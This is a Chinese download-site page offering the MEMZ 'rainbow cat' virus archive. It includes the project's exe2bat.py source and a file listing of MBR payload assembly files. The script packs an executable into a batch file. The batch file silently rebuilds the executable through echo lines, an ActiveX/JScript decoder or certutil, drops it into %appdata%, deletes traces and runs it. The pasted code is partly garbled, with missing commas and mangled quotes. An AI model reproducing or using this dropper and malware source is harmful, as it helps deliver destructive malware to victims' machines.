资源简介
memz彩虹猫病毒
此压缩包包含了彩虹猫病毒,不要恶意传播,且请在vmware或qemu上运行
代码片段和文件信息
# Very poorly coded exe (or other file) to batch converter.
#
# If you want to use it don‘t forget to append -zip to the command line
# because this is the best method for packing the file.
import sys os base64 zipfile
use_zip = “-zip“ in sys.argv
for_xp = “-xp“ in sys.argv
use_script = “-zip“ in sys.argv or “-xp“ in sys.argv
ZIP_NAME = “z.zip“
EXE_NAME = sys.argv[3]
base64_NAME = “x“
JS_NAME = “x.js“
def writescript(script path):
out = ““
i = 0
for line in script.splitlines():
if i == 0:
out += ‘echo %s>%s\r\n‘ % (batchescape(line) path)
else:
out += ‘echo %s>>%s\r\n‘ % (batchescape(line) path)
i+=1
return out
def batchescape(s):
chrs = ‘<>|“&‘
for c in chrs:
s = s.replace(c “^“+c)
return s#.replace(“%“ “%%“)
out = “@echo off\r\n\r\n“
fn = sys.argv[1]
if use_zip:
with zipfile.ZipFile(“temp.zip“ “w“) as z:
z.write(sys.argv[1] EXE_NAME zipfile.ZIP_DEFLATED)
fn = “temp.zip“
ifile = open(fn “rb“)
inp = ifile.read()
ifile.close()
b64 = base64.encodestring(inp)
out += writescript(b64 base64_NAME)
if use_zip:
os.remove(“temp.zip“)
if use_script:
out += “\r\n“
if use_zip:
js = “““f=new ActiveXobject(“scripting.FileSystemobject“);i=f.getFile(“%s“).openAsTextStream();
x=new ActiveXobject(“MSxml2.DOMDocument“).createElement(“base64Data“);x.dataType=“bin.base64“;
x.text=i.readAll();o=new ActiveXobject(“ADODB.Stream“);o.type=1;o.open();o.write(x.nodeTypedValue);
z=f.getAbsolutePathName(“%s“);o.saveToFile(z);s=new ActiveXobject(“Shell.Application“);
s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();“““ % (base64_NAME ZIP_NAME)
out += writescript(js JS_NAME)
elif for_xp:
js = “““i=Wscript.createobject(“scripting.FileSystemobject“).getFile(“%s“).openAsTextStream();
x=Wscript.createobject(“MSxml2.DOMDocument“).createElement(“base64Data“);x.dataType=“bin.base64“;
x.text=i.readAll();o=Wscript.createobject(“ADODB.Stream“);o.type=1;o.open();o.write(x.nodeTypedValue);
o.saveToFile(“%s“);o.close();i.close();“““ % (base64_NAME EXE_NAME)
out += writescript(js JS_NAME)
out += “\r\n“
out += ‘set v=“%%appdata%%\\%s“\r\n‘ % EXE_NAME
out += “del %v% >NUL 2>NUL\r\n“
if use_script:
out += “cscript %s >NUL 2>NUL\r\n“ % JS_NAME
out += “del %s >NUL 2>NUL\r\n“ % JS_NAME
else:
out += “certutil -decode %s %%v%% >NUL 2>NUL\r\n“ % base64_NAME
if for_xp:
out += “move %s %%v%% >NUL 2>NUL\r\n“ % EXE_NAME
if use_zip:
out += “del %s >NUL 2>NUL\r\n“ % ZIP_NAME
out += “del %s >NUL 2>NUL\r\n“ % base64_NAME
out += ‘start ““ %v%‘
ofile = open(sys.argv[2] “wb“)
ofile.write(out)
ofile.close()
print len(out) “characters.“
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2016-07-10 16:47 MEMZ-master\
文件 3825 2016-07-10 16:47 MEMZ-master\.gitignore
目录 0 2016-07-10 16:47 MEMZ-master\Exe2Bat\
文件 2635 2016-07-10 16:47 MEMZ-master\Exe2Bat\exe2bat.py
目录 0 2016-07-10 16:47 MEMZ-master\PayloadMBR\
目录 0 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\
目录 0 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Compressor\
文件 1943 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Compressor\compress.c
目录 0 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\
目录 0 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 594 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 568 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 617 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 614 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 583 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 587 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 621 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 616 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 576 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 581 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 619 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 614 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\fr
文件 1121 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Image\png2bin.py
目录 0 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Other\
文件 76 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Other\message.txt
目录 0 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Song\
文件 106 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Song\README.md
文件 590 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\Song\midi2bin.py
文件 208 2016-07-10 16:47 MEMZ-master\PayloadMBR\Data\make.sh
文件 658 2016-07-10 16:47 MEMZ-master\PayloadMBR\decompress.asm
文件 2223 2016-07-10 16:47 MEMZ-master\PayloadMBR\kernel.asm
............此处省略16个文件信息
- 上一篇:ChartCtrl控件库(可在VS2019中使用)
- 下一篇:C++ mqtt 用法
评论
共有 条评论